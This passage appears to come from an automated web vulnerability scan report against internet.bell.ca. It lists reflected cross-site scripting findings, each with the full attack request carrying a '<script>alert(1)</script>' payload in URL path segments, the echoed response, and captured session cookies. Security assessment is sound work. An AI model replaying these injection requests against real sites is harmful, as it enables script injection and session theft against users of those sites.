Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:53 GMT
Connection: close
Set-Cookie: SMSESSION=xbAFoVrYaXphmccvFjHjS4GoNi+QnmT2H7TUoxPQ7dgUMu8YrVS+ZjDh/ZGssGz7iUBECN4AkV/zSwdoGxb1eopWj6o/smWs0c431317G+kI3boNRQBHrOTScdimlDRUURxXucScimTL/K9lms8Q8DlVEz/cYw2yP+2n50jwSqU0BBLgAH6IuoSQKyF5rO0psgRvtixeVWGwsv4MvEeiORngyODZpVDGPTuRcRgEOeVuFAnM+7yW1bwNq5Fl78BXYIsapUd2RAFuM1ZKSGBt5kOlRbJD23dMkb9Gc83Nv69IwFw/TGfHAg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.fxqueues.jsb1e32"><script>alert(1)</script>fda13ea188" />
...[SNIP]...

2.58. http://internet.bell.ca/js/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c59e4"><script>alert(1)</script>c92e1258292 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsc59e4"><script>alert(1)</script>c92e1258292/jquery.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:52 GMT
Connection: close
Set-Cookie: SMSESSION=XTd8HtTTTBSfstQqEtVWeWLK3xluSJ5/A3ros8TWnz+gquYljr8xDVD3es4hskuAA5llpEXOiOhout0opFoxwtmCy0ovlBCb0ejkReynBGhDfLjjQ7JL6n32RVX+D4rS6IuqMzFfbTsc4B6L40JPXs1xVQ9ip5is30i0Ks0LHURzHjA1706/ZM44TpJ0Qq3kWQ+7snhM3lnblZw+G1f/pUY8nueSM1Z2uLFK/uY/ydXOv1MsEvY4IYutbpWoqtYEkuME+qgiQ9Y1BqhyPSERiJGAKbIh2mYT8e80u3MI82uFgf8ek/C3ig==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsc59e4"><script>alert(1)</script>c92e1258292/jquery.js" />
...[SNIP]...

2.59. http://internet.bell.ca/js/jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70bd5"><script>alert(1)</script>4d70d048f6a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.js70bd5"><script>alert(1)</script>4d70d048f6a HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:26:05 GMT
Connection: close
Set-Cookie: SMSESSION=fZXjLLDjSzEhJ76vm5lII435XCxj4NCERChlEAHoyDWMC1OEmP90gKiTQzmFxi2T1NRYyd06tG3g5ZuVzKaEB+hKatNCbA3c7b6ryGe9JGuYnz7XK5KXsfHxI8pBmUHbmnVnwfYdOCm/NUphsWtT89faVKqeTTlCL8/gPcyCbqmsVnG7ufUBDP55syKzmGKKssHpzZ7iQBP7fU9yHfwBkPoQmCTv4atXHkrEQKJkd6aK+IWcusVIIqW920Tr4s0OG3N71XhLMYhw4FlosglUAMHuCa9mXD8DxcHczd+tcemLtvVzPNPdpA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:26:05 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:26:05 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.js70bd5"><script>alert(1)</script>4d70d048f6a" />
...[SNIP]...

2.60. http://internet.bell.ca/js/jquery.selectbox.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6812"><script>alert(1)</script>0be9f513a04 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsf6812"><script>alert(1)</script>0be9f513a04/jquery.selectbox.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
